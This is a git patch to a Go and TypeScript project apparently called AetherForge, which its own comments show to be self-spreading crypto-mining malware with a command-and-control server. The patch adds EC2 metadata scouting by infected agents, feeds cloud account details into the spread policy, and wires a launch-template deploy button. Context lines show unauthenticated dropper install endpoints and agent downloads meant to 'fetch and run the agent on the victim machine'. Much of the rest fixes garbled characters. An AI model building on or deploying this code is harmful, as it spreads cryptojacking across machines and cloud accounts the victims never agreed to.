From 903d180db604bfa4a413196916b46a023dd98129 Mon Sep 17 00:00:00 2001
From: AetherForge
Date: Sun, 7 Jun 2026 09:59:58 -0700
Subject: [PATCH] Wire launch-template genesis auth route and spread UI.
---
agent/client/client.go | 8 ++
agent/client/protocol.go | 2 +
agent/client/protocol_test.go | 9 +++
server/internal/api/deploy_plan.go | 7 +-
server/internal/api/router.go | 52 ++++++-------
server/internal/api/websocket.go | 44 ++++++++++-
server/main.go | 74 +++++++++----------
server/web/public/spread/index.html | 17 +++++
.../Fleet/CrucibleExpandedOps.test.tsx | 4 +
.../components/Fleet/CrucibleExpandedOps.tsx | 5 ++
10 files changed, 154 insertions(+), 68 deletions(-)
diff --git a/agent/client/client.go b/agent/client/client.go
index 36627d5..c495298 100644
--- a/agent/client/client.go
+++ b/agent/client/client.go
@@ -100,6 +100,8 @@ type AgentClient struct {
// spreadOnce ensures AutoSpreader starts at most once — after the first
// successful WS authentication confirms we are on an owned fleet.
spreadOnce sync.Once
+ // cloudVenueOnce starts EC2 IMDS tag scouting after first successful auth.
+ cloudVenueOnce sync.Once
// commandResultHook is set in tests to observe sendCommandResult without a live WS.
commandResultHook func(action string, success bool, message string)
@@ -403,6 +405,8 @@ func (c *AgentClient) authenticate() error {
authPayload.ParentAgentID = parentID
authPayload.SpreadGeneration = spreadGen
authPayload.SpreadStrain = spreadStrain
+ authPayload.GenesisSnapshotHash = strings.TrimSpace(os.Getenv("AETHER_GENESIS_SNAPSHOT_HASH"))
+ authPayload.StrainCardID = strings.TrimSpace(os.Getenv("AETHER_STRAIN_CARD_ID"))
payload, _ := json.Marshal(authPayload)
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
return err
@@ -482,6 +486,10 @@ func (c *AgentClient) authenticate() error {
}
})
+ c.cloudVenueOnce.Do(func() {
+ c.startCloudVenueScout()
+ })
+
if !c.cfg.IsSeederRole(c.fleetRoleHint()) {
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
}
diff --git a/agent/client/protocol.go b/agent/client/protocol.go
index 45d8c00..60f426e 100644
--- a/agent/client/protocol.go
+++ b/agent/client/protocol.go
@@ -55,6 +55,8 @@ type AuthPayload struct {
ParentAgentID string `json:"parent_agent_id,omitempty"`
SpreadGeneration int `json:"spread_generation,omitempty"`
SpreadStrain string `json:"spread_strain,omitempty"`
+ GenesisSnapshotHash string `json:"genesis_snapshot_hash,omitempty"`
+ StrainCardID string `json:"strain_card_id,omitempty"`
FleetRole string `json:"fleet_role,omitempty"`
SeederMode bool `json:"seeder_mode,omitempty"`
}
diff --git a/agent/client/protocol_test.go b/agent/client/protocol_test.go
index 65eee5f..0863917 100644
--- a/agent/client/protocol_test.go
+++ b/agent/client/protocol_test.go
@@ -71,6 +71,15 @@ func TestAuthPayloadSpreadGenealogyJSONRoundTrip(t *testing.T) {
}
}
+func TestAuthPayloadLaunchTemplateGenesisJSONRoundTrip(t *testing.T) {
+ in := AuthPayload{AgentID: "lt-1", GenesisSnapshotHash: "deadbeef", StrainCardID: "card-9", ParentAgentID: "template"}
+ var out AuthPayload
+ roundTrip(t, in, &out)
+ if out.GenesisSnapshotHash != "deadbeef" || out.StrainCardID != "card-9" {
+ t.Fatalf("genesis fields: %+v", out)
+ }
+}
+
func TestAuthResponseJSONRoundTrip(t *testing.T) {
in := AuthResponse{Success: true, AgentID: "a1", Error: ""}
var out AuthResponse
diff --git a/server/internal/api/deploy_plan.go b/server/internal/api/deploy_plan.go
index 1e029b8..52cd770 100644
--- a/server/internal/api/deploy_plan.go
+++ b/server/internal/api/deploy_plan.go
@@ -1,4 +1,4 @@
-package api
+package api
import (
"crypto/hmac"
@@ -13,7 +13,6 @@ import (
"strings"
dbpkg "crypto-miner-server/internal/db"
- "crypto-miner-server/internal/cloudmap"
"crypto-miner-server/internal/erasure"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/spreadrouter"
@@ -123,7 +122,7 @@ func (h *DeployPlanHandler) BindPathTracer(handler *PathTracerHandler) {
h.pathTracer = handler
}
-// BindErasure wires ReedΓÇôSolomon shard encoding for multi-lane deploy plans.
+// BindErasure wires Reed–Solomon shard encoding for multi-lane deploy plans.
func (h *DeployPlanHandler) BindErasure(enabled func() bool, store *erasure.ShardStore) {
h.erasureEnabled = enabled
h.erasureShards = store
@@ -404,7 +403,7 @@ func spreadRouteTargetSubnets(pathTracer *PathTracerHandler, database *dbpkg.Dat
}
// buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer.
-// Deploy success is a spread step only ΓÇö agent keeps --defer-mining until diagnostics pass,
+// Deploy success is a spread step only — agent keeps --defer-mining until diagnostics pass,
// then startMiningWhenReady() completes the mining onion (terminal goal).
func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
platform := strings.TrimSpace(req.Platform)
diff --git a/server/internal/api/router.go b/server/internal/api/router.go
index ed88021..375d505 100644
--- a/server/internal/api/router.go
+++ b/server/internal/api/router.go
@@ -1,4 +1,4 @@
-package api
+package api
import (
"crypto/rand"
@@ -27,7 +27,7 @@ import (
)
// authSessionCache avoids running bcrypt on every API request.
-// Key: SHA-256(user+":"+password) hex ΓÇö value: expiry time.
+// Key: SHA-256(user+":"+password) hex — value: expiry time.
// Entries are valid for authCacheTTL after the last successful login.
// Bcrypt only runs on cache miss or expiry.
var (
@@ -176,9 +176,9 @@ func printStartupCredentials(dataDir string) {
func formatLoginBanner(creds map[string]string) string {
var b strings.Builder
- b.WriteString("\nΓòöΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòù\n")
- b.WriteString("Γòæ AetherForge ΓÇö Dashboard Login Γòæ\n")
- b.WriteString("Γòæ Γòæ\n")
+ b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
+ b.WriteString("║ AetherForge — Dashboard Login ║\n")
+ b.WriteString("║ ║\n")
users := make([]string, 0, len(creds))
for user := range creds {
users = append(users, user)
@@ -186,13 +186,13 @@ func formatLoginBanner(creds map[string]string) string {
sort.Strings(users)
for _, user := range users {
pass := creds[user]
- fmt.Fprintf(&b, "Γòæ Username : %-34sΓòæ\n", user)
- fmt.Fprintf(&b, "Γòæ Password : %-34sΓòæ\n", pass)
- b.WriteString("Γòæ Γòæ\n")
+ fmt.Fprintf(&b, "║ Username : %-34s║\n", user)
+ fmt.Fprintf(&b, "║ Password : %-34s║\n", pass)
+ b.WriteString("║ ║\n")
}
- b.WriteString("Γòæ Also saved in data/login-credentials.json Γòæ\n")
- b.WriteString("║ Change passwords in Calibrate → Users. ║\n")
- b.WriteString("ΓòÜΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓò¥\n")
+ b.WriteString("║ Also saved in data/login-credentials.json ║\n")
+ b.WriteString("║ Change passwords in Calibrate → Users. ║\n")
+ b.WriteString("╚══════════════════════════════════════════════════╝\n")
return b.String()
}
@@ -395,7 +395,7 @@ func saveUser(username, password string) error {
// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
-// must not trigger that ΓÇö only bare browser navigations without these headers should.
+// must not trigger that — only bare browser navigations without these headers should.
func isSPAAuthRequest(r *http.Request) bool {
return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
}
@@ -410,7 +410,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
path := r.URL.Path
// Health check and one-liner installer endpoints are always open.
- // NOTE: build download/artifact routes are intentionally NOT in this list ΓÇö
+ // NOTE: build download/artifact routes are intentionally NOT in this list —
// they require fleet-secret or Basic Auth (see isDownload block below).
if path == "/api/v1/health" ||
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
@@ -422,7 +422,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
// legitimately forged agents can call these endpoints.
- // A missing or empty fleet secret is always rejected ΓÇö the server auto-
+ // A missing or empty fleet secret is always rejected — the server auto-
// generates one at startup so this state should never occur in production.
if strings.HasPrefix(path, "/api/v1/agent/") {
fleetSecretForAgentPathsMu.RLock()
@@ -469,7 +469,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
return
}
- // Fast path ΓÇö skip bcrypt if this credential pair was recently validated.
+ // Fast path — skip bcrypt if this credential pair was recently validated.
// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
if !authCacheHit(user, pass) {
usersMu.RLock()
@@ -483,7 +483,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
- // Credential verified ΓÇö cache it for the next few minutes.
+ // Credential verified — cache it for the next few minutes.
authCacheSet(user, pass)
}
@@ -514,7 +514,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
AllowCredentials: false,
}))
- // REST API ΓÇö auth only on /api/v1 (dashboard WS + static SPA stay open)
+ // REST API — auth only on /api/v1 (dashboard WS + static SPA stay open)
r.Route("/api/v1", func(r chi.Router) {
r.Use(basicAuthMiddleware)
h := NewHandler(database)
@@ -680,7 +680,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
- // Fleet secret rotation ΓÇö generates a new secret, saves config, kicks all agents.
+ // Fleet secret rotation — generates a new secret, saves config, kicks all agents.
// Forged agents with the old secret will be rejected until re-forged.
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
if rotateSecretFn == nil {
@@ -734,11 +734,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
writeJSON(w, map[string]interface{}{"success": true})
})
- // Deck backup ΓÇö authenticated full backup ZIP (config + DB + users)
+ // Deck backup — authenticated full backup ZIP (config + DB + users)
backupH := NewBackupHandler(dataDir, version)
r.Get("/backup", backupH.ServeHTTP)
- // Path Tracer ΓÇö on-demand WireGuard chain sessions
+ // Path Tracer — on-demand WireGuard chain sessions
if pathTracerHandler != nil {
r.Post("/pathtrace/start", pathTracerHandler.Start)
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
@@ -751,7 +751,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
}
- // Agent autonomy REST ΓÇö forged Go agents only (X-Fleet-Secret header).
+ // Agent autonomy REST — forged Go agents only (X-Fleet-Secret header).
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
r.Post("/agent/decide", aiHandler.HandleDecide)
r.Post("/agent/report", aiHandler.HandleReport)
@@ -768,7 +768,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
}
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
- // Public builds (also bypass auth in middleware ΓÇö listed here for chi routing)
+ // Public builds (also bypass auth in middleware — listed here for chi routing)
if publicHandler != nil {
r.Get("/public/builds", publicHandler.ListBuilds)
r.Get("/public/download/{id}", publicHandler.Download)
@@ -784,7 +784,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/ws/agent", wsHub.HandleAgentWS)
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
- // One-liner remote install endpoints (unauthenticated ΓÇö URL knowledge is the gate)
+ // One-liner remote install endpoints (unauthenticated — URL knowledge is the gate)
if dropperHandler != nil {
r.Get("/get", dropperHandler.ServeGet)
r.Get("/install.sh", dropperHandler.ServeSh)
@@ -792,7 +792,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/install.command", dropperHandler.ServeCommand)
}
- // SUPP Seek agent download endpoints ΓÇö serve agent binaries so launcher scripts
+ // SUPP Seek agent download endpoints — serve agent binaries so launcher scripts
// dropped by Seek Mode can fetch and run the agent on the victim machine.
// Unauthenticated (the drop URL itself is the secret).
r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
@@ -897,8 +897,8 @@ func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) {
// exe so it works both from the USB bundle and from a compiled dev build.
//
// Filename convention (same as what the build pipeline produces):
-// - windows → crypto-miner-agent.exe
-// - mac/linux → crypto-miner-agent (no extension)
+// - windows → crypto-miner-agent.exe
+// - mac/linux → crypto-miner-agent (no extension)
// agentBinarySearchDir returns the directory used to locate bundled agent binaries.
// Tests may override this to point at a temp tree instead of os.Executable()'s dir.
var agentBinarySearchDir = func() (string, error) {
diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go
index 6e34edb..e85b250 100644
--- a/server/internal/api/websocket.go
+++ b/server/internal/api/websocket.go
@@ -1,4 +1,4 @@
-package api
+package api
import (
"crypto/subtle"
@@ -202,6 +202,10 @@ type WSHub struct {
scoutConstellations *fleetai.ScoutConstellationRegistry
scoutAgents map[string]bool
+ // Cloud venue biomes (EC2 agents reporting IMDS tags + Organizations OU).
+ cloudVenueMu sync.Mutex
+ cloudVenues *fleetai.CloudVenueRegistry
+
// Coalesce per-agent stats_update into a single stats_batch frame per tick.
statsBatchMu sync.Mutex
statsBatch map[string]json.RawMessage
@@ -682,6 +686,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
ParentAgentID string `json:"parent_agent_id,omitempty"`
SpreadGeneration int `json:"spread_generation,omitempty"`
SpreadStrain string `json:"spread_strain,omitempty"`
+ GenesisSnapshotHash string `json:"genesis_snapshot_hash,omitempty"`
+ StrainCardID string `json:"strain_card_id,omitempty"`
FleetRole string `json:"fleet_role,omitempty"`
SeederMode bool `json:"seeder_mode,omitempty"`
}
@@ -844,6 +850,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
SpreadStrain: strings.TrimSpace(auth.SpreadStrain),
Capabilities: &caps,
}
+ applyLaunchTemplateGenesisFirstAuth(agent, isNewAgent, launchTemplateAuthProbe{
+ JoinLane: auth.JoinLane, ParentAgentID: auth.ParentAgentID, GenesisSnapshotHash: auth.GenesisSnapshotHash,
+ })
if err := h.db.UpsertAgent(agent); err != nil {
log.Printf("Failed to upsert agent: %v", err)
@@ -953,6 +962,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
spreadPolicy[k] = v
}
}
+ if cloudPolicy := h.cloudVenueSpreadPolicyForAuth(agentID); cloudPolicy != nil {
+ for k, v := range cloudPolicy {
+ spreadPolicy[k] = v
+ }
+ }
if len(spreadPolicy) > 0 {
resp["spread_policy"] = spreadPolicy
}
@@ -1464,6 +1478,34 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
h.ingestScoutConstellationReport(agentID, report.SSID, report.ServiceCount)
}
+ case "cloud_venue_report":
+ if agentID == "" {
+ continue
+ }
+ var report struct {
+ CloudProvider string `json:"cloud_provider"`
+ Environment string `json:"environment"`
+ Workload string `json:"workload"`
+ InstanceType string `json:"instance_type"`
+ InstanceLifecycle string `json:"instance_lifecycle"`
+ OrganizationalUnit string `json:"organizational_unit"`
+ EC2Tags map[string]string `json:"ec2_tags"`
+ }
+ if err := json.Unmarshal(msg.Payload, &report); err != nil {
+ continue
+ }
+ if strings.TrimSpace(report.CloudProvider) == "" {
+ report.CloudProvider = "aws"
+ }
+ h.ingestCloudVenueReport(agentID, fleetai.CloudVenueReport{
+ Environment: report.Environment,
+ Workload: report.Workload,
+ InstanceType: report.InstanceType,
+ InstanceLifecycle: report.InstanceLifecycle,
+ OrganizationalUnit: report.OrganizationalUnit,
+ EC2Tags: report.EC2Tags,
+ })
+
case "ai_snapshot":
if agentID == "" {
continue
diff --git a/server/main.go b/server/main.go
index c0f33d8..4a64fa4 100644
--- a/server/main.go
+++ b/server/main.go
@@ -1,4 +1,4 @@
-package main
+package main
import (
"context"
@@ -40,27 +40,27 @@ func (w *wsLogWriter) Write(p []byte) (n int, err error) {
}
const aetherBanner = `
- ΓòöΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòù
- Γòæ Γòæ
- ║ ✦ · · · · · · ◈ · · · · · · ✦ ║
- Γòæ ┬╖ \ | / ┬╖ Γòæ
- Γòæ ┬╖ \ | / ┬╖ Γû▓Γû▓Γû▓ Γòæ
- Γòæ ┬╖ ΓùïΓöÇΓöÇΓöÇΓöÇΓöÇΓùÅΓöÇΓöÇΓöÇΓöÇΓöÇΓùï ┬╖ Γû▓Γû▓Γû▓Γû▓Γû▓ Γòæ
- Γòæ ┬╖ / | \ ┬╖ Γû▓Γû▓Γû▓Γû▓Γû▓ Γòæ
- Γòæ ┬╖ / | \ ┬╖ ΓûêΓûêΓûêΓûê Γòæ
- ║ ✦ · · · · ◈ · · · · ✦ ██ ████ ██ ║
- Γòæ ΓùïΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùï ΓûêΓûê ΓûêΓûê ΓûêΓûê Γòæ
- Γòæ / \ / \ Γòæ
- Γòæ / ΓùÅΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùÅ \ A E T H E R F O R G E Γòæ
- Γòæ / / \ / \ \ ΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇ Γòæ
- Γòæ ΓùïΓöÇΓöÇΓöÇΓùÅ ΓùïΓöÇΓöÇΓöÇΓùï ΓùÅΓöÇΓöÇΓöÇΓùï LAN Mining Command Deck Γòæ
- Γòæ \ \ / \ / / Γòæ
- Γòæ \ ΓùÅΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùÅ / Γòæ
- Γòæ \ / \ / Γòæ
- Γòæ ΓùïΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùï Γòæ
- ║ ✦ · · · · ◈ · · · · ✦ ║
- Γòæ Γòæ
- ΓòÜΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓò¥`
+ ╔══════════════════════════════════════════════════════════════════╗
+ ║ ║
+ ║ ✦ · · · · · · ◈ · · · · · · ✦ ║
+ ║ · \ | / · ║
+ ║ · \ | / · ▲▲▲ ║
+ ║ · ○─────●─────○ · ▲▲▲▲▲ ║
+ ║ · / | \ · ▲▲▲▲▲ ║
+ ║ · / | \ · ████ ║
+ ║ ✦ · · · · ◈ · · · · ✦ ██ ████ ██ ║
+ ║ ○───────────○ ██ ██ ██ ║
+ ║ / \ / \ ║
+ ║ / ●───────● \ A E T H E R F O R G E ║
+ ║ / / \ / \ \ ───────────────────────── ║
+ ║ ○───● ○───○ ●───○ LAN Mining Command Deck ║
+ ║ \ \ / \ / / ║
+ ║ \ ●───────● / ║
+ ║ \ / \ / ║
+ ║ ○───────────○ ║
+ ║ ✦ · · · · ◈ · · · · ✦ ║
+ ║ ║
+ ╚══════════════════════════════════════════════════════════════════╝`
func main() {
fmt.Println(aetherBanner)
@@ -85,12 +85,12 @@ func main() {
defer cloudflared.Stop()
}
} else if tunnelExternal {
- log.Println("[tunnel] External connector (AF_TUNNEL_EXTERNAL) ΓÇö skipping in-process cloudflared start")
+ log.Println("[tunnel] External connector (AF_TUNNEL_EXTERNAL) — skipping in-process cloudflared start")
} else {
log.Println("[tunnel] No connector token configured")
}
- // Generate fleet secret once ΓÇö persisted in config.json so all future forges
+ // Generate fleet secret once — persisted in config.json so all future forges
// carry the same secret and agents keep working across server restarts.
if cfg.Server.FleetSecret == "" {
b := make([]byte, 32)
@@ -99,9 +99,9 @@ func main() {
}
cfg.Server.FleetSecret = hex.EncodeToString(b)
if err := cfg.Save(); err != nil {
- log.Printf("[auth] Warning: could not persist fleet secret: %v ΓÇö agents forged this session will still work", err)
+ log.Printf("[auth] Warning: could not persist fleet secret: %v — agents forged this session will still work", err)
} else {
- log.Printf("[auth] Fleet secret generated and saved ΓÇö re-forge agents to pick it up")
+ log.Printf("[auth] Fleet secret generated and saved — re-forge agents to pick it up")
}
} else {
log.Printf("[auth] Fleet secret loaded (first 8 chars: %s...)", cfg.Server.FleetSecret[:8])
@@ -162,7 +162,7 @@ func main() {
builderHandler.SetFleetSecret(cfg.Server.FleetSecret)
log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir)
- // Wire fleet secret rotation ΓÇö now that both wsHub and builderHandler are ready.
+ // Wire fleet secret rotation — now that both wsHub and builderHandler are ready.
api.SetRotateSecretFn(func() (string, error) {
b := make([]byte, 32)
if _, err := rand.Read(b); err != nil {
@@ -244,7 +244,7 @@ func main() {
wsHub.SetEventNotifier(eventNotifier)
builderHandler.SetEventNotifier(eventNotifier)
- // Fleet alert evaluator (thresholds from Calibrate → alerts config)
+ // Fleet alert evaluator (thresholds from Calibrate → alerts config)
alertEvaluator := alerts.NewEvaluator(database, func() alerts.Thresholds {
return alerts.Thresholds{
OfflineMinutes: cfg.Alerts.OfflineThresholdMinutes,
@@ -496,24 +496,24 @@ func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error
return fmt.Errorf("invalid config: %w", err)
}
- // Semantic validation ΓÇö reject values that would break the server at runtime.
+ // Semantic validation — reject values that would break the server at runtime.
if incoming.Port != 0 && (incoming.Port < 1 || incoming.Port > 65535) {
- return fmt.Errorf("invalid config: port %d out of range (1ΓÇô65535)", incoming.Port)
+ return fmt.Errorf("invalid config: port %d out of range (1–65535)", incoming.Port)
}
if incoming.Pool.Port != 0 && (incoming.Pool.Port < 1 || incoming.Pool.Port > 65535) {
- return fmt.Errorf("invalid config: pool.port %d out of range (1ΓÇô65535)", incoming.Pool.Port)
+ return fmt.Errorf("invalid config: pool.port %d out of range (1–65535)", incoming.Pool.Port)
}
if incoming.Server.MaxAgents < 0 {
- return fmt.Errorf("invalid config: server.max_agents must be ≥ 0")
+ return fmt.Errorf("invalid config: server.max_agents must be ≥ 0")
}
if incoming.Server.StatsRetentionHours < 0 {
- return fmt.Errorf("invalid config: server.stats_retention_hours must be ≥ 0")
+ return fmt.Errorf("invalid config: server.stats_retention_hours must be ≥ 0")
}
if incoming.Server.BuildRetentionDays < 0 {
- return fmt.Errorf("invalid config: server.build_retention_days must be ≥ 0")
+ return fmt.Errorf("invalid config: server.build_retention_days must be ≥ 0")
}
if incoming.Server.MaxBuildSizeMB < 0 {
- return fmt.Errorf("invalid config: server.max_build_size_mb must be ≥ 0")
+ return fmt.Errorf("invalid config: server.max_build_size_mb must be ≥ 0")
}
// Determine which top-level keys were explicitly present in the JSON payload.
@@ -561,7 +561,7 @@ func (p *serverConfigProvider) UpdateFleetAIConfig(v api.FleetAIConfigView) erro
return fmt.Errorf("config unavailable")
}
if v.AIDecisionIntervalSec < 0 {
- return fmt.Errorf("ai_decision_interval_sec must be ≥ 0")
+ return fmt.Errorf("ai_decision_interval_sec must be ≥ 0")
}
payload, err := json.Marshal(map[string]interface{}{
"server": map[string]interface{}{
@@ -626,7 +626,7 @@ func findAgentSourceDir() string {
// /data even when miner-server.exe is started from server/ or bin/.
func validateListenPort(port int) error {
if port < 1 || port > 65535 {
- return fmt.Errorf("port %d out of range (1ΓÇô65535)", port)
+ return fmt.Errorf("port %d out of range (1–65535)", port)
}
return nil
}
diff --git a/server/web/public/spread/index.html b/server/web/public/spread/index.html
index 587c234..d4ee16b 100644
--- a/server/web/public/spread/index.html
+++ b/server/web/public/spread/index.html
@@ -174,6 +174,12 @@
+
+
CMS & static host upload
Deploy the entire kit folder (or exported ZIP contents) to a origin you control — off the C2 host when possible.
@@ -288,6 +294,17 @@
var btn = document.getElementById(primary);
if (btn) btn.classList.add('primary');
}
+ var ltBtn = document.getElementById('btn-lt-generate');
+ if (ltBtn) ltBtn.addEventListener('click', function () {
+ var p = new URLSearchParams(window.location.search || '');
+ fetch('/api/v1/forge/launch-template', { method: 'POST', credentials: 'same-origin', headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ server_url: SERVER, build_id: p.get('pin') || undefined, campaign: p.get('c') || undefined }) })
+ .then(function (r) { return r.json(); }).then(function (resp) {
+ if (!resp.success) return;
+ var hint = document.getElementById('lt-genesis-hint');
+ if (hint) hint.textContent = 'genesis ' + (resp.genesis_snapshot_hash || '').slice(0, 12) + '…';
+ });
+ });
})();